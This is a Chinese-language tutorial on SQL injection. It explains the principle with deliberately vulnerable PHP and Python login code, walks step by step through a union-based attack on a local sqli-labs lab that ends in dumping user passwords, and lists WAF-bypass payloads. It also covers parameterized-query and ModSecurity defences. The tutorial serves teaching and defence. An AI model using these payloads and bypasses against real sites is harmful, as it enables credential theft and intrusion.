前言
SQL注入(SQL Injection)是Web安全领域最经典、危害最严重的漏洞之一。在OWASP Top 10安全风险榜单中,注入类漏洞长期占据核心位置,最新版本(A03:2021-Injection)依然将其列为前三的高危风险。据各类安全报告统计,全球约35%的Web应用存在不同形式的SQL注入漏洞,攻击者可借此绕过身份认证、窃取敏感数据、篡改数据库内容,甚至获取服务器系统权限,造成数据泄露、业务瘫痪、经济损失等严重后果。
近年来国内外已发生多起因SQL注入导致的大规模数据泄露事件,涉及数千万乃至上亿条用户记录。因此,无论是开发人员还是安全研究人员,深入理解SQL注入的原理与防御手段,都是构建安全Web应用的基础。
【警告】本文所述技术仅用于授权的渗透测试、安全教学和CTF竞赛等合法场景。根据《中华人民共和国网络安全法》《中华人民共和国刑法》第二百八十五条、第二百八十六条等相关规定,未经授权对他人计算机信息系统进行SQL注入攻击、非法获取数据或破坏系统正常运行,属于违法犯罪行为,将面临刑事处罚。请务必在合法授权范围内学习与实践,切勿触碰法律红线。作者不对任何滥用本文技术所造成的后果承担责任。
本文将从原理剖析、漏洞复现、实战注入到WAF绕过与防御方案,进行系统讲解,适合Web安全初学者和希望巩固基础的安全从业者阅读。
一、SQL注入原理
1.1 什么是SQL注入
SQL注入的本质是:用户输入的数据被当作SQL代码的一部分执行。在正常的Web应用中,用户通过表单、URL参数、Cookie等方式向服务器提交数据,后端程序将这些数据拼接到SQL语句中,再交由数据库引擎执行。如果程序没有对用户输入进行严格的类型校验、转义处理或使用参数化查询,攻击者就可以通过精心构造的输入,改变原本SQL语句的逻辑结构,从而执行非预期的数据库操作。
举个直观的例子,假设某登录功能的后端SQL语句如下:
SELECT * FROM users WHERE username = '$username' AND password = '$password'
正常情况下,用户输入 admin 和 123456,SQL语句变成:
SELECT * FROM users WHERE username = 'admin' AND password = '123456'数据库会查询用户名为 admin 且密码为 123456 的记录。但如果攻击者在用户名输入框中输入 admin' or '1'='1,SQL语句就变成了:
SELECT * FROM users WHERE username = 'admin' or '1'='1' AND password = 'xxx'
由于 '1'='1' 永远为真,这条SQL语句的逻辑被彻底改变,攻击者无需知道真实密码即可绕过登录验证,这就是SQL注入最经典的攻击场景。
1.2 漏洞代码示例
下面给出两段典型的漏洞代码,帮助理解漏洞成因。
PHP漏洞代码(字符串拼接登录验证):
<?php
$conn = mysqli_connect("localhost", "root", "123456", "test");$username = $_POST['username'];
$password = $_POST['password'];// 危险:直接拼接用户输入到SQL语句
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);if (mysqli_num_rows($result) > 0) {
echo "登录成功";
} else {
echo "登录失败";
}
?>
Python漏洞代码(f-string拼接):
import pymysql
conn = pymysql.connect(host="localhost", user="root", password="123456", db="test")
username = input("请输入用户名: ")
password = input("请输入密码: ")# 危险:使用f-string拼接用户输入
sql = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor = conn.cursor()
cursor.execute(sql)if cursor.fetchone():
print("登录成功")
else:
print("登录失败")
万能密码 admin' or '1'='1 的原理说明:
当用户名输入 admin' or '1'='1,密码任意输入时,拼接后的SQL语句为:
SELECT * FROM users WHERE username = 'admin' or '1'='1' AND password = 'xxx'在SQL中,AND 的优先级高于 OR,语句等价于:
SELECT * FROM users WHERE username = 'admin' OR ('1'='1' AND password = 'xxx')
由于 '1'='1' 为真,只要数据库中存在 admin 用户,或 AND 条件整体为真,查询就会返回记录,从而绕过密码校验。攻击者甚至可以使用 admin' or 1=1# 让后面的密码判断被注释掉,实现无条件登录。
1.3 安全代码示例
防御SQL注入最有效的方式是使用预处理语句(Prepared Statement)或参数化查询,将用户输入作为参数传入,而非拼接进SQL语句。数据库引擎会对参数进行转义处理,使其只能作为数据而非代码被执行。
PHP预处理语句:
<?php
$conn = mysqli_connect("localhost", "root", "123456", "test");$username = $_POST['username'];
$password = $_POST['password'];// 安全:使用预处理语句,参数化绑定
$sql = "SELECT * FROM users WHERE username = ? AND password = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "ss", $username, $password);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);if (mysqli_num_rows($result) > 0) {
echo "登录成功";
} else {
echo "登录失败";
}
?>
Python参数化查询:
import pymysql
conn = pymysql.connect(host="localhost", user="root", password="123456", db="test")
username = input("请输入用户名: ")
password = input("请输入密码: ")# 安全:使用参数化查询,参数以元组形式传入
sql = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor = conn.cursor()
cursor.execute(sql, (username, password))if cursor.fetchone():
print("登录成功")
else:
print("登录失败")
【提示】无论用户输入多么复杂的恶意字符串,参数化查询都会将其作为普通字符串处理,从根本上杜绝SQL注入。这是业界公认的最佳防御实践。
二、常见SQL注入类型分类
根据注入点的数据回显情况和利用方式,SQL注入主要分为以下五种类型:
1. 联合查询注入(Union-based Injection)
利用前提:页面有SQL执行结果回显。核心思路:使用 UNION SELECT 将攻击者构造的查询结果与原查询结果合并,直接在页面上显示。这是最高效的注入方式,适用于有回显位的场景。
2. 布尔盲注(Boolean-based Blind Injection)
利用前提:页面无数据回显,但会根据查询条件真假返回不同内容(如"存在"或"不存在")。核心思路:通过构造布尔条件,根据页面返回差异逐字符猜解数据。
3. 时间盲注(Time-based Blind Injection)
利用前提:页面无任何回显差异,无法通过布尔判断。核心思路:利用 IF、SLEEP 等函数,根据条件真假使数据库响应时间不同,通过响应时长判断数据内容。
4. 堆叠注入(Stacked Injection)
利用前提:数据库支持多语句执行(如SQL Server、PostgreSQL,MySQL默认需开启多语句支持)。核心思路:使用分号 ; 在一条SQL语句后追加任意语句,可执行增删改等操作。
5. 报错注入(Error-based Injection)
利用前提:页面会显示数据库错误信息。核心思路:构造能触发数据库报错的SQL语句,利用特定函数(如 updatexml、extractvalue)将查询结果包含在错误信息中返回。
三、实战环境搭建
为了安全合法地学习SQL注入技术,建议使用Docker搭建sqli-labs靶场。sqli-labs是经典SQL注入练习平台,包含75关不同类型的注入场景,非常适合初学者系统练习。
完整docker命令如下:
docker pull acgpiano/sqli-labs
docker run -dt --name sqli-labs -p 8080:80 acgpiano/sqli-labs
docker ps
容器启动后,在浏览器访问 http://localhost:8080 ,首次访问会进入初始化页面,点击"Setup/reset Database for labs"完成数据库初始化,即可开始练习。
【注意】靶场环境务必仅在本机或隔离网络中运行,绝不要部署到公网服务器,避免被他人利用攻击你的服务器,也避免误触法律。建议学习完毕后及时停止并删除容器:
docker stop sqli-labs
docker rm sqli-labs
四、实战演示:联合查询注入全流程
本节以sqli-labs Less-1(GET - Error based - Single Quotes - String)为例,演示联合查询注入的完整流程。假设靶场地址为 http://localhost:8080/Less-1/ 。
步骤1:判断注入点
在URL参数id后加单引号测试:
http://localhost:8080/Less-1/?id=1'
预期返回结果:页面报错,类似 You have an error in your SQL syntax near ''1'' LIMIT 0,1',说明参数被拼接进SQL语句,且使用单引号包裹,存在字符型SQL注入。
步骤2:判断字段数
使用 ORDER BY 逐步测试字段数,从大到小尝试:
http://localhost:8080/Less-1/?id=1' order by 1--+
http://localhost:8080/Less-1/?id=1' order by 2--+
http://localhost:8080/Less-1/?id=1' order by 3--+
http://localhost:8080/Less-1/?id=1' order by 4--+
预期返回结果:order by 3 正常显示,order by 4 报错,说明当前查询有3个字段。
【提示】--+ 是SQL注释符,用于注释掉后面的 SQL语句。在URL中需使用 --+ 或 %23(#的URL编码),因为 # 在URL中是特殊字符。
步骤3:判断回显位
将id设为不存在的值(如-1),使原查询返回空,再用 UNION SELECT 显示自定义内容:
http://localhost:8080/Less-1/?id=-1' union select 1,2,3--+
预期返回结果:页面显示 Your Login name:2 和 Your Password:3,说明第2和第3个字段是回显位,可以在此位置显示查询结果。
步骤4:获取数据库信息
在回显位替换为数据库函数:
http://localhost:8080/Less-1/?id=-1' union select 1,database(),version()--+
预期返回结果:显示当前数据库名 security 和数据库版本 5.5.x 或类似版本号。确认数据库版本后,可知是否支持 information_schema 等特性。
步骤5:获取表名
利用 information_schema.tables 查询当前数据库的所有表名:
http://localhost:8080/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
预期返回结果:显示 emails,referers,uagents,users 等表名,其中 users 表最可能存放用户数据。
步骤6:获取列名
利用 information_schema.columns 查询 users 表的所有列名:
http://localhost:8080/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
预期返回结果:显示 id,username,password 等列名,确认敏感字段位置。
步骤7:获取数据
最终payload,从 users 表中提取用户名和密码:
http://localhost:8080/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+
预期返回结果:页面显示所有用户的账号密码,格式如 admin:admin,Dumb:Dumb,Angelina:I-kill-you 等。其中 0x3a 是冒号 : 的十六进制表示,用于分隔用户名和密码。
至此,联合查询注入全流程完成,成功获取了数据库中的敏感数据。
五、WAF绕过技巧详解
WAF(Web Application Firewall,Web应用防火墙)会通过规则匹配拦截包含SQL注入特征的请求。下面介绍7种常见的WAF绕过技巧,每种均给出具体payload。
1. 内联注释绕过
MySQL支持内联注释语法 /*!...*/,注释内容会被MySQL引擎执行,但WAF可能将其视为注释而放行。
?id=-1' union /*!select*/ 1,2,3--+
?id=-1' /*!union*/ /*!select*/ 1,2,3--+
2. 大小写绕过
部分WAF对关键字匹配区分大小写,而SQL关键字不区分大小写,可用混合大小写绕过。
?id=-1' UnIoN SeLeCt 1,2,3--+
?id=-1' OrDeR By 3--+
3. 双写绕过
当WAF对关键字进行一次替换删除处理时,可使用双写让删除后仍保留有效关键字。
?id=-1' ununionion seselectlect 1,2,3--+
?id=-1' UNIunionON SELselectECT 1,2,3--+
4. 编码绕过
对特殊字符或关键字进行URL编码、Hex编码、Unicode编码等,绕过基于明文特征的WAF规则。
?id=-1' union select 1,2,3--+
?id=-1%27%20union%20select%201,2,3--+# Hex编码绕过(users表名)
?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479--+
5. 等价函数替换
当WAF过滤了某些函数时,可使用功能等价的函数替代。
具体payload示例:
# and被过滤,用&&替代
?id=1' && 1=1--+# substr被过滤,用mid替代
?id=1' && ascii(mid((select database()),1,1))=115--+# sleep被过滤,用benchmark替代
?id=1' && if(1=1,benchmark(5000000,md5('test')),0)--+
6. 空格绕过
当WAF过滤了空格字符时,可使用其他空白字符或注释替代空格。
# %0a 换行符
?id=-1'%0aunion%0aselect%0a1,2,3--+# %09 制表符
?id=-1'%09union%09select%091,2,3--+# /**/ 注释替代空格
?id=-1'/**/union/**/select/**/1,2,3--+# 括号绕过
?id=-1' union(select(1),(2),(3))--+
7. HTTP参数污染
部分服务器在处理重复参数时,会取最后一个或拼接所有值,而WAF可能只检查第一个参数,从而绕过检测。
?id=1&id=-1' union select 1,2,3--+
# 结合其他技巧
?id=1&id=-1'/*!union*//*!select*/1,2,3--+
【注意】实际渗透测试中,WAF绕过往往需要多种技巧组合使用。WAF规则持续更新,没有永远通用的绕过方法,建议结合具体WAF产品特性进行针对性测试。同时,过度的绕过尝试会产生大量异常请求,容易触发WAF的频率告警和IP封禁。
六、SQL注入防御方案
1. 参数化查询
参数化查询是防御SQL注入最根本、最有效的手段。前文已展示PHP和Python的示例,下面补充Java和Node.js的实现。
Java(JDBC)示例:
import java.sql.*;
public class SafeLogin {
public static void main(String[] args) throws Exception {
Connection conn = DriverManager.getConnection(
"jdbc:mysql://localhost:3306/test", "root", "123456");String username = "admin";
String password = "123456";// 安全:使用PreparedStatement参数化查询
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);ResultSet rs = pstmt.executeQuery();
if (rs.next()) {
System.out.println("登录成功");
} else {
System.out.println("登录失败");
}
rs.close();
pstmt.close();
conn.close();
}
}
Node.js示例:
const mysql = require('mysql2');
const conn = mysql.createConnection({
host: 'localhost',
user: 'root',
password: '123456',
database: 'test'
});const username = 'admin';
const password = '123456';// 安全:使用参数化查询,参数以数组形式传入
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
conn.query(sql, [username, password], (err, results) => {
if (err) throw err;
if (results.length > 0) {
console.log('登录成功');
} else {
console.log('登录失败');
}
conn.end();
});
2. ORM框架
ORM(对象关系映射)框架在底层默认使用参数化查询,可有效避免手写SQL带来的注入风险。
Python SQLAlchemy示例:
from sqlalchemy import create_engine, text
engine = create_engine('mysql+pymysql://root:123456@localhost/test')
username = 'admin'
password = '123456'# 安全:ORM使用参数绑定
with engine.connect() as conn:
sql = text("SELECT * FROM users WHERE username = :u AND password = :p")
result = conn.execute(sql, {'u': username, 'p': password})
if result.fetchone():
print('登录成功')
else:
print('登录失败')
Java MyBatis示例(使用 #{} 占位符):
<!-- 安全:#{} 会自动参数化绑定 -->
<select id="login" resultType="User">
SELECT * FROM users WHERE username = #{username} AND password = #{password}
</select><!-- 危险:${} 是字符串拼接,存在注入风险,应避免使用 -->
<select id="search" resultType="User">
SELECT * FROM users WHERE username = '${username}'
</select>
【警告】MyBatis中 #{} 是安全的参数绑定,而 ${} 是直接字符串拼接,存在SQL注入风险。在ORDER BY、表名等无法使用 #{} 的场景,必须对输入进行严格白名单校验。
3. 输入过滤与校验
在参数化查询的基础上,还应对用户输入进行校验,作为纵深防御的一环:
- 类型校验:对于数字型参数,强制转换为整型;对于日期参数,校验日期格式。
- 长度限制:限制输入长度,防止超长输入触发异常。
- 白名单校验:对排序字段、表名等动态参数,使用白名单限定可选值。
- 特殊字符过滤:过滤或转义单引号、分号、注释符等SQL特殊字符(仅作辅助手段,不能替代参数化查询)。
4. WAF部署
在应用前端部署WAF可拦截大部分自动化注入攻击。ModSecurity是知名开源WAF,配合OWASP Core Rule Set(CRS)可提供强大的防护能力。
ModSecurity配置示例(httpd.conf或modsecurity.conf):
# 加载ModSecurity模块
LoadModule security2_module modules/mod_security2.so# 启用ModSecurity
SecRuleEngine On# 加载OWASP CRS规则
Include /etc/modsecurity/crs/*.conf# 自定义SQL注入拦截规则
SecRule ARGS "(?i:(union\s+select|select\s+.*\s+from|insert\s+into|delete\s+from|drop\s+table|information_schema))" \
"id:1001,phase:2,deny,status:403,msg:'SQL Injection Attempt',severity:CRITICAL"# 拦截常见SQL注入函数
SecRule ARGS "(?i:(sleep|benchmark|load_file|into\s+outfile|updatexml|extractvalue))" \
"id:1002,phase:2,deny,status:403,msg:'SQL Injection Function Detected',severity:CRITICAL"
【提示】WAF是纵深防御的重要一环,但并非万能。WAF基于规则匹配,存在绕过可能,且可能产生误报影响正常业务。正确做法是:以参数化查询为核心防御,WAF作为辅助防线,输入校验作为补充,形成多层防御体系。
七、总结
SQL注入是Web安全领域最基础也最重要的漏洞类型,本文系统讲解了其原理、分类、实战利用、WAF绕过与防御方案,核心要点总结如下:
第一,SQL注入的本质是用户输入被当作代码执行,根因是直接拼接用户输入到SQL语句。理解这一点,是掌握所有注入变种的基础。
第二,防御SQL注入的根本手段是参数化查询(预处理语句),它将用户输入严格作为数据处理,从根本上杜绝注入。任何编程语言、任何数据库驱动都支持参数化查询,没有理由不使用。
第三,SQL注入有多种类型,联合查询注入效率最高,盲注适用于无回显场景,堆叠注入和报错注入各有适用条件。掌握不同类型的判断与利用方法,才能应对复杂场景。
第四,WAF绕过是攻防对抗的永恒话题,内联注释、大小写、双写、编码、等价函数、空格替代、参数污染等技巧可组合使用。但WAF规则持续更新,绕过方法需与时俱进。
第五,安全防御应遵循纵深防御原则,以参数化查询为核心,辅以ORM框架、输入校验、WAF部署,形成多层防护,任何单一防线都不可靠。
第六,技术是中性的,关键在于使用者的态度与用途。请在合法授权范围内学习与实践,尊重法律与他人权益,做一名有道德、守法律的安全从业者。
网络安全学习是一个持续积累的过程,SQL注入只是入门。建议读者在掌握SQL注入后,继续学习XSS、CSRF、SSRF、文件上传、反序列化等其他Web漏洞,并关注最新的安全动态与技术趋势。希望本文能帮助你建立扎实的SQL注入知识体系,在Web安全之路上稳步前行。共勉。